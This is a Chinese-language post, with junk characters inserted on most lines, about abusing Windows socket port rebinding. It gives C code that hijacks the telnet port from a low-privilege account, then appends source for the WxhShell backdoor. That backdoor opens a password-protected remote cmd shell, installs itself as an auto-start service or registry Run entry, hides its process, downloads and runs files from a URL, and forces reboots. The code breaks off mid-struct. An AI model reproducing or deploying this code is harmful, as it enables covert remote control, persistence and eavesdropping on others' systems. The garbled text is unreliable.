在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
"^;h' s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
L'
bY,D(J> 7q5*grm saddr.sin_family = AF_INET;
YhqMTOw ik;F@kdm` saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Vo6g /h?` %qTIT?6' bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
qPN9Put 3dolrW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ju.pQ=PSX .`V$j.a 这意味着什么?意味着可以进行如下的攻击:
$$"G1<EZ VxARJ*4=Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
FouN}X6 %\n|2*r 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
4RYH^9;>K -5ZmIlL.S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
.>P:{'' Ym!e}`A\F 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
X J)Y-7c +oq<}CNr{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
QCE7VV1Rw {*[(j^OE 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
U V*Ruy- =WBfaxL} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
:Jv5Flxl W I MBwmg #include
6N5(DD #include
G9yK/g&q #include
'%XYJr:H[ #include
uLWu. Vx DWORD WINAPI ClientThread(LPVOID lpParam);
lG%697P int main()
#jW=K&; {
pt,L WORD wVersionRequested;
#kq!{5, DWORD ret;
w}zmcO:x WSADATA wsaData;
El;"7Qn BOOL val;
{\P%J:s#9 SOCKADDR_IN saddr;
$Th)z}A}EA SOCKADDR_IN scaddr;
EG\;l9T int err;
oW6Hufu+o SOCKET s;
Ve&_NVPrd SOCKET sc;
vZ"gCf3#?3 int caddsize;
}$'_%, HANDLE mt;
||awNSt DWORD tid;
|D"L!+J-$ wVersionRequested = MAKEWORD( 2, 2 );
J:Qx5;b; err = WSAStartup( wVersionRequested, &wsaData );
tHZ"o!(S if ( err != 0 ) {
MJ1qU}+] printf("error!WSAStartup failed!\n");
k_7b0dr%F return -1;
H>+])~# }
kwc
Cf2 saddr.sin_family = AF_INET;
-bzlp7q* 6&ut r!\7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
cK u[4D{ *qy \%A saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
MyllL@kP saddr.sin_port = htons(23);
;M4[Liw~O if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dB0#EJaE {
n+ebi>}P printf("error!socket failed!\n");
_G/R;N71 return -1;
t~/:St }
zdRVAcrwQ val = TRUE;
rSJ!vQo
Cb //SO_REUSEADDR选项就是可以实现端口重绑定的
xL"J?Gy if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
u@ #%SX {
aH'fAX0bF printf("error!setsockopt failed!\n");
QhJN/v
return -1;
v7wyQx+Q }
[07E-TT2U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[1P_^.Htr //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ofQs
/
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
A_wf_.l4h %"A8Af**I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
y
2>
93m
{
)-&@8` ret=GetLastError();
jc9C|r printf("error!bind failed!\n");
~Dq-q6-@t return -1;
jsE8=zZs }
v.Bwg7R3 listen(s,2);
;P)oKx while(1)
scH61Y8` {
sPvs}}Z]P caddsize = sizeof(scaddr);
5.{=Op! //接受连接请求
EtN, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[#uhMn^ if(sc!=INVALID_SOCKET)
FXJ0
G>F {
h@$SJe(hl mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Eb[;nk? if(mt==NULL)
-^m?%_<50l {
";rXCH. printf("Thread Creat Failed!\n");
4uOR=+/l break;
IdAh)#)
7 }
-@(LN%7!C }
JT0j2_*Rr CloseHandle(mt);
&@oI/i&0B }
~O\A 0e closesocket(s);
oqF?9<Vgc, WSACleanup();
k37?NoT return 0;
PzSLE>Q }
Q/]~`S DWORD WINAPI ClientThread(LPVOID lpParam)
lu"0\}7X {
#wIWh^^ Zy SOCKET ss = (SOCKET)lpParam;
!VWA4 e!+ SOCKET sc;
,M3hE/rb/ unsigned char buf[4096];
gdf0 SOCKADDR_IN saddr;
-fA =&$V long num;
q1:dcxR[ DWORD val;
\KhcNr?ja= DWORD ret;
1<_][u@ //如果是隐藏端口应用的话,可以在此处加一些判断
$8eiifj //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
K{DC{yLu saddr.sin_family = AF_INET;
!lNyoX/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
C5dM`_3L saddr.sin_port = htons(23);
g8MW6Y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Hj{.{V {
rk1,LsZVS printf("error!socket failed!\n");
Li5&^RAo|J return -1;
,.9 lz }
eWAD;x?. val = 100;
r=n{3o+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-8qCCV&1i {
3XQa%|N( ret = GetLastError();
>(a35 b$ return -1;
>b2!&dm }
/lC# !$9vz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
o:QL%J{[ {
>IaGa!4 ret = GetLastError();
L&kCI`Tb return -1;
gaz7u8$A= }
0R)x"4Ww if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
nvrh7l9nX {
(o|bst][S printf("error!socket connect failed!\n");
x[{\Aw>$. closesocket(sc);
}
KyoMs closesocket(ss);
M99ku' return -1;
Py
v> }
{V>F69IU while(1)
[Kc ?<3W {
qa^cJ1@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
UnK7&Uo //如果是嗅探内容的话,可以再此处进行内容分析和记录
KuJ9bn{u!C //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?P+Uv num = recv(ss,buf,4096,0);
W_M#Gi/AL if(num>0)
%mmV#vwp send(sc,buf,num,0);
tNFw1& else if(num==0)
^o5;><S] break;
q{&c?l*2 num = recv(sc,buf,4096,0);
MuD
? KK if(num>0)
.*`^dt send(ss,buf,num,0);
m)L50ot:/ else if(num==0)
bss2<mqlH break;
C,+ }
$(D>v!dp closesocket(ss);
F62 uDyY closesocket(sc);
60%nQhb return 0 ;
Q8`V0E\~ }
o_Zs0/ y\_+,G0 D@&xj_#\} ==========================================================
H[.)&7M\ zn-=mk;W 下边附上一个代码,,WXhSHELL
129\H<
m +TqrvI. ==========================================================
|c0^7vrC gamB]FPZ #include "stdafx.h"
%/I:r7UR{ < +* #include <stdio.h>
V$hL\`e #include <string.h>
`W1uU=c #include <windows.h>
d;dT4vx$[M #include <winsock2.h>
[;ZCq!)> #include <winsvc.h>
j.] ]VA #include <urlmon.h>
lU!_V%n zlEI_th:~ #pragma comment (lib, "Ws2_32.lib")
3r+c&^ #pragma comment (lib, "urlmon.lib")
2g O@ ~4+Y BN #define MAX_USER 100 // 最大客户端连接数
gN<7(F #define BUF_SOCK 200 // sock buffer
VX8rM!3 #define KEY_BUFF 255 // 输入 buffer
VX&g[5zr
a k5D #define REBOOT 0 // 重启
?S&
yF #define SHUTDOWN 1 // 关机
m^XO77" H,TApF89A #define DEF_PORT 5000 // 监听端口
XFoSGqD $H+X'1 #define REG_LEN 16 // 注册表键长度
I<RARB-j #define SVC_LEN 80 // NT服务名长度
~9o@1TO:v &*/= `=:C8 // 从dll定义API
gnZ#86sO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
AQ$)JPs typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
s/@uGC0> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
V/xXW= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
]R\L~Kr F-ZTy"z // wxhshell配置信息
=XQGg`8<LB struct WSCFG {
k'%yvlv int ws_port; // 监听端口
lfb+ )s char ws_passstr[REG_LEN]; // 口令
%|x9C,0p# int ws_autoins; // 安装标记, 1=yes 0=no
M{orw;1Isy char ws_regname[REG_LEN]; // 注册表键名
(L4llZ;q char ws_svcname[REG_LEN]; // 服务名
5yt= ~ char ws_svcdisp[SVC_LEN]; // 服务显示名
to).PI? char ws_svcdesc[SVC_LEN]; // 服务描述信息
|e!Y
C iU char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#m{(aa9; int ws_downexe; // 下载执行标记, 1=yes 0=no
>y8>OJ?A7- char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\y271}' char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!D1#3?L 3}V (8 };
HdlOGa6C Da)p%E>Q // default Wxhshell configuration
$yU}56(z~ struct WSCFG wscfg={DEF_PORT,
+a,#BSt "xuhuanlingzhe",
%`pi*/( 1,
D8!
Y0 "Wxhshell",
?`Z:vqp>Z "Wxhshell",
G)YmaHeI;[ "WxhShell Service",
M*n94L=Sg& "Wrsky Windows CmdShell Service",
f9UDH8X "Please Input Your Password: ",
|8{ k,!P'K 1,
8h)7K/!\ "
http://www.wrsky.com/wxhshell.exe",
+ R6X "Wxhshell.exe"
0x5\{f };
/zh:7N lE%KzX?& // 消息定义模块
kK4+K74B char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
3%r/w7Fc char *msg_ws_prompt="\n\r? for help\n\r#>";
%w>3Fwj`z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Ys_LGfK char *msg_ws_ext="\n\rExit.";
7Oe$Ou char *msg_ws_end="\n\rQuit.";
88:YU4:l`N char *msg_ws_boot="\n\rReboot...";
#s(ob `0| char *msg_ws_poff="\n\rShutdown...";
28M^F~0 char *msg_ws_down="\n\rSave to ";
)%p46(] id+EBVHAd char *msg_ws_err="\n\rErr!";
-4Dz98du char *msg_ws_ok="\n\rOK!";
J*K=tA 6qmV/DL char ExeFile[MAX_PATH];
^PE|BCs int nUser = 0;
Q;l%@)m+~ HANDLE handles[MAX_USER];
'`gnJX
JO int OsIsNt;
uj\&-9gEi V/DMkO#a SERVICE_STATUS serviceStatus;
cGo_qR/B(> SERVICE_STATUS_HANDLE hServiceStatusHandle;
r/':^Ex )mAD <y+ // 函数声明
Ivcy=W=Jk int Install(void);
O%bltNEx1 int Uninstall(void);
"+ {2! int DownloadFile(char *sURL, SOCKET wsh);
^h=gaNL int Boot(int flag);
SR.xI:}4 void HideProc(void);
ro?.w int GetOsVer(void);
[giw(4m#y int Wxhshell(SOCKET wsl);
FeZW S>N void TalkWithClient(void *cs);
w AdaP9h int CmdShell(SOCKET sock);
(p'/a.bn int StartFromService(void);
3HR)H-@6@7 int StartWxhshell(LPSTR lpCmdLine);
uF3{FYM{I -f:PgBj VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
*'-C/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
;){ZM,Ox |'o<w
]hc // 数据结构和表定义
Je"XIhBr SERVICE_TABLE_ENTRY DispatchTable[] =
sm[zE/2b {
zA|lbJz=GY {wscfg.ws_svcname, NTServiceMain},
6
3PV R" {NULL, NULL}
1)~9Eku6K };
D8B\F5..c# ['>r tV // 自我安装
h<'tQGC int Install(void)
{#@[ttw$U {
#@V<{/;49 char svExeFile[MAX_PATH];
rK;<-RE<[: HKEY key;
.!2
u#A strcpy(svExeFile,ExeFile);
g hkV^ [ xf8e" mD // 如果是win9x系统,修改注册表设为自启动
&F;bg if(!OsIsNt) {
%@aC5^Ovy+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
j~+(#| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
N`X|z RegCloseKey(key);
)VG>6x
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
EN}4-P/5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y'oH>l+n RegCloseKey(key);
pfl^GgP# return 0;
f/.f08 }
cj2^wmkB }
8/P!i2o }
wLfH/J else {
z~2;u5S& _D+J3d(Pjk // 如果是NT以上系统,安装为系统服务
J5f}-W@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
NVom6K if (schSCManager!=0)
Y2ON!Rno {
.
Wd0}?} SC_HANDLE schService = CreateService
BP&]t1p (
"9 vL+Hh schSCManager,
%\'G2 wscfg.ws_svcname,
K1;b4Sl?A wscfg.ws_svcdisp,
)*.rl SERVICE_ALL_ACCESS,
1Z(9<M1!M SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
vQoZk, SERVICE_AUTO_START,
, a2=OV SERVICE_ERROR_NORMAL,
~Kt+j svExeFile,
VGCd)&s NULL,
F,mStw: NULL,
O
~[[JAi[ NULL,
'w/S6j NULL,
.%0a NULL
XVKRT7U );
fCO<-L9k$ if (schService!=0)
%82:?fq {
0uGTc[^^M CloseServiceHandle(schService);
%bG\ CloseServiceHandle(schSCManager);
rNke&z:%X_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
"{bc2#F strcat(svExeFile,wscfg.ws_svcname);
uaLjHR0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
G;pc,\MF RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
( pCU:'" RegCloseKey(key);
L?Ih; return 0;
T#H-GOY: }
/p}pdXS }
R_:lp\S& CloseServiceHandle(schSCManager);
(@*%moo }
Psf{~ (Ii }
&!+1GI9z
VEL!-e^X& return 1;
&EC8{.7 }
y"_rDj` ],zp~yVU& // 自我卸载
szOa yAS int Uninstall(void)
9'vf2) " {
'+GYw$ HKEY key;
ZlQ&m {XnBj}C if(!OsIsNt) {
W:8{}Iu< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4dI` RegDeleteValue(key,wscfg.ws_regname);
Pn?gB}l RegCloseKey(key);
,n UovWN07 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
GN+,9 RegDeleteValue(key,wscfg.ws_regname);
g6][N{xW0 RegCloseKey(key);
PFbkkQKsT return 0;
MTbCL53!- }
Izfq`zS+\s }
vhU#<59a1 }
mF>{cVTF else {
|g<l|lqz| IY@N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
C5X!H_p if (schSCManager!=0)
^*,?x {
>GDf*
ox[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
pT:6A[& if (schService!=0)
a{.-qp {
raR=k!3i if(DeleteService(schService)!=0) {
F]RZP/D` CloseServiceHandle(schService);
:{-/b CloseServiceHandle(schSCManager);
$o
;48uV^ return 0;
GCxmqoQ }
iW[%|ddk CloseServiceHandle(schService);
R{9G$b1Due }
@|d`n\%x CloseServiceHandle(schSCManager);
0"mr*hyj }
4y,pzQ8a }
mU>lm7' tYhNr return 1;
V'l9fj*E }
Ol8Yf.e_ }l5Q0' // 从指定url下载文件
7K24sHw;% int DownloadFile(char *sURL, SOCKET wsh)
MX|@x~9W {
>PUT(yNL HRESULT hr;
WG&WPV/p char seps[]= "/";
.ITTY QHv) char *token;
V~QOl=`K: char *file;
A-u}&}l< char myURL[MAX_PATH];
yk2XfY char myFILE[MAX_PATH];
0)9n${P7d @CA{uP; strcpy(myURL,sURL);
S6{y%K2y& token=strtok(myURL,seps);
6PMu*-Nv!j while(token!=NULL)
58PL@H~@0 {
!*,m=*[3 file=token;
rpL]5e! token=strtok(NULL,seps);
bKr73S9 }
v;Rm42k dF+:9iiAm GetCurrentDirectory(MAX_PATH,myFILE);
#ahe@|E'Y strcat(myFILE, "\\");
`OWwqLoeA strcat(myFILE, file);
$T*g@] send(wsh,myFILE,strlen(myFILE),0);
Rab7Y,AA send(wsh,"...",3,0);
Z07SK 'U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
`Oe}OSxnT if(hr==S_OK)
YS>VQl return 0;
BHS8MV L@ else
zCj#Nfm return 1;
-8sB\E X7)B)r}AG }
@[O|n)7 PLK;y // 系统电源模块
9Hs5uBe int Boot(int flag)
O/fm/ {
g` 41d HANDLE hToken;
v@qVT'qlU TOKEN_PRIVILEGES tkp;
.QDeS|l awOH50R if(OsIsNt) {
^dKtUH/78G OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
f<Yg_ TG LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
d-B,)$zE tkp.PrivilegeCount = 1;
Q&&oP:4~X* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-\8v{ry AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
#6 M3BF if(flag==REBOOT) {
*;~i\M9_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
e^-CxHwA- return 0;
'H'R6<z5 }
gLWbd~ else {
}%S#d&wh$_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
rC6{-42bb return 0;
=L,7~9 }
-~^sSLrbP }
{A{sRT=% else {
lT;uL~j if(flag==REBOOT) {
LDj*~\vsq if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
B5!|L)7>{p return 0;
$u::(s}
x< }
RFLw)IWkL_ else {
/(DnMHn\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
mh,a}bX{ return 0;
}k_'a^;C1 }
\y+@mJWa }
ZO]P9b *+j r? | return 1;
>4nQ&b.u }
x]~&4fp nc.:Wm6Mj // win9x进程隐藏模块
p4z
thdN[ void HideProc(void)
75H;6(7 {
SX[ !qug^F HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
jh/aK_Q,w if ( hKernel != NULL )
lF3wTf/j {
TECp!`)j" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
y`8jz,&. ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
xi15B5_Ps FreeLibrary(hKernel);
j-7aJj% }
Fq'Ds[wd5 mQ^SpK # return;
%(:{TR }
>lF@M- B9S@G{` // 获取操作系统版本
ev1:0P int GetOsVer(void)
G@scz!Nt {
lec3rv0) OSVERSIONINFO winfo;
aA'of>'ib| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
T
(?
CDc+ GetVersionEx(&winfo);
Pdk#"H-j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
KxQMPtHstz return 1;
&A~hM[- else
=kBN&v_(! return 0;
W;|%)D)y }
I8{
mk h DC2[g9S>8@ // 客户端句柄模块
06[HE7 int Wxhshell(SOCKET wsl)
Y-~MkB {
>O~ SOCKET wsh;
@x_0AkZU struct sockaddr_in client;
-!IeP]n#P DWORD myID;
a7jE*%f9 XzPUll;ZU while(nUser<MAX_USER)
:}-izd)/j {
y-mjfW`n int nSize=sizeof(client);
$>rKm
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
uj+{
tc if(wsh==INVALID_SOCKET) return 1;
^;wz+u4^l 2Mj_wc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Wjr^: d if(handles[nUser]==0)
g9j&\+h^ closesocket(wsh);
'~zi~Q7M else
P<=1OWC nUser++;
,@\z{}~v }
x|)pZa WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
mQ2=t% DC0ON` return 0;
A[m<xtm5K }
>v)V2,P
- #szIYyk // 关闭 socket
M9?f`9 void CloseIt(SOCKET wsh)
S84S/y {
AOef1^S= closesocket(wsh);
`x;m@\R nUser--;
MhIHfW]b ExitThread(0);
kt+h\^g }
X XxH<E$p g!^mewtd // 客户端请求句柄
C9*[/| T void TalkWithClient(void *cs)
Gh352 {
yatZAl(B "^wIixOH5 SOCKET wsh=(SOCKET)cs;
z>)lp$ char pwd[SVC_LEN];
m]c1DvQb char cmd[KEY_BUFF];
Y$s4 *)% char chr[1];
H3( @Q^9 int i,j;
e$E>6Ngsr r 5t{I2 while (nUser < MAX_USER) {
a*uG^~
). @mb' !r if(wscfg.ws_passstr) {
W)8Pq9Hnv if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u#NX`_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
N1"p ;czK //ZeroMemory(pwd,KEY_BUFF);
{7%(m|( i=0;
s\p 1EL( while(i<SVC_LEN) {
)TEod!] }KT$J G? // 设置超时
uPE Ab2u=" fd_set FdRead;
E6M*o+Y struct timeval TimeOut;
f,ZJFb98 FD_ZERO(&FdRead);
O%w'nz" FD_SET(wsh,&FdRead);
dx+xs& TimeOut.tv_sec=8;
=Aw`0 TimeOut.tv_usec=0;
`ZT/lB` int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
8U}+9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
AQ,"):ofvT umCmxmr& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
&h_Y?5k K pwd
=chr[0]; uh%
J
if(chr[0]==0xd || chr[0]==0xa) { sE
^YOT<
pwd=0; K(HrwH`a{
break; /:"^,i\t
} `gyke2n
i++; ^ E.mG>
} *Uy;P>8
Pq@-`sw
// 如果是非法用户,关闭 socket YL78cWOs
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `g4N]<@z
} \U##b~Z,g
I:6XM?
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <":83RCS
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c
*<m.
o{QV'dgu
while(1) { LROrhO
'Gamb+[
ZeroMemory(cmd,KEY_BUFF); 6']G HDK
lCBH3-0^
// 自动支持客户端 telnet标准 A/"2a55
j=0; ,X;$-.
while(j<KEY_BUFF) { Y88N*axDW.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '-Oh$hqCx|
cmd[j]=chr[0]; VJl0UM3{J
if(chr[0]==0xa || chr[0]==0xd) { dBS_N/
cmd[j]=0; salDGsW^
break; YB!f =_8
} ;C=V- r
j++; +5 gX6V\
} Z9q4W:jyS
*YGj^+
// 下载文件 C' {B
if(strstr(cmd,"http://")) { (`4&Y-
send(wsh,msg_ws_down,strlen(msg_ws_down),0); qk>SM|{
if(DownloadFile(cmd,wsh)) 9W_mSum
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ts3!mjn
else :SWrx MT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bjj=UtI
} eVB43]g
else { IXlk1tHN4I
y7+n*|H
switch(cmd[0]) { l!W!Gz0to
_n{_\/A6f
// 帮助 b\zq,0%
case '?': { ?L H[,8z
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %tC[q
break; _[i.)8$7
} b?VByJl
// 安装 S3$C#mHX
case 'i': { Gpcordt/
if(Install()) zAvI f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (FZ8T39
else M?Q\
Hw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3)9e-@
break; |1/8m/2Af.
} mwN"Cu4t
// 卸载 #3eI4KJ4+l
case 'r': { ^eefR5^_w
if(Uninstall()) %cDDu$9;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); iTs"RW
else ?I:_FT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r'_#rl
break; m=v.<+>
} 6W3."};
// 显示 wxhshell 所在路径 m=/HUt3(&0
case 'p': { `[XH=-p
char svExeFile[MAX_PATH]; Ov4 [gHy&
strcpy(svExeFile,"\n\r"); $G9E=wn
strcat(svExeFile,ExeFile); 'J!Gip ,
send(wsh,svExeFile,strlen(svExeFile),0); )56L`5#tS
break; 'MB+cz+v
} | z_av
// 重启 7}~nQl2
case 'b': { YcR: _ac
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DYC2bs>
if(Boot(REBOOT)) Z![#Uz.z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s|Vs#o.P)
else { qoZAZ&|HI
closesocket(wsh); :D>flZi
ExitThread(0); s>WqVuXmn
} TaKHr$h
break; kkj@!1q(wO
} cIkA ~F
// 关机 IM[=]j.?
case 'd': { z&um9rXR
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mUR[;;l
if(Boot(SHUTDOWN)) Z/v )^VR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Xd&aQ
else { <S;YNHLC
closesocket(wsh); gu'+kw
ExitThread(0); '-G,7!.,r%
} IF//bgk-
break; QV*la= j/
} V/R@=[
// 获取shell >qGWDCKr
case 's': { I/v#!`L
CmdShell(wsh); 73tjDO7d
closesocket(wsh); -~lrv#5Q
ExitThread(0); ^<v.=7cL0
break; akHQ&+[j
} |c-`XC2g
// 退出 p!?7;
case 'x': { `$3P@SO"
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tEibxE
CloseIt(wsh); =U:]x'g(
break; xcJvXp
} Esg:
// 离开 +l7Bu} _?
case 'q': { +s [_
4
send(wsh,msg_ws_end,strlen(msg_ws_end),0); MzlE
closesocket(wsh); TFhYu
WSACleanup(); (m.jC}J
exit(1); pBQ[lPCY/
break; e+@.n
} +ZBj_Vw*|
} kaDn=
={YM
} % %2~%FVb
C{ Z*5)
// 提示信息 y>RqA*J
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^4saB+qm
} H@k$sZ.
} #e9XU:9@g
h 'is#X 6:
return; G0ENk|wbbj
} i l%9j
Uf$IH!5;Z
// shell模块句柄 /J,&G:
Er
int CmdShell(SOCKET sock) +.hJ[|F1&
{ 6|%HCxWO
STARTUPINFO si; fAvB!e
ZeroMemory(&si,sizeof(si)); ):Ekf2
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L+)mZb&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jqoU;u`
PROCESS_INFORMATION ProcessInfo; ?
5hwz
char cmdline[]="cmd"; vF@.BM>
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '9|R7
return 0; Z,b^f
Vw
} ;[Hrpl
S
.fY$$aD$4
// 自身启动模式 q{)Q ?E
int StartFromService(void) +
V-&?E(
{ Szlww
typedef struct UAdj[m61
{ Q9t.*+
DWORD ExitStatus; j !`2Z@
DWORD PebBaseAddress; `P9%[8`C 9
DWORD AffinityMask; VU|Cct&)
DWORD BasePriority; 5d82M s
ULONG UniqueProcessId; 9,
792b
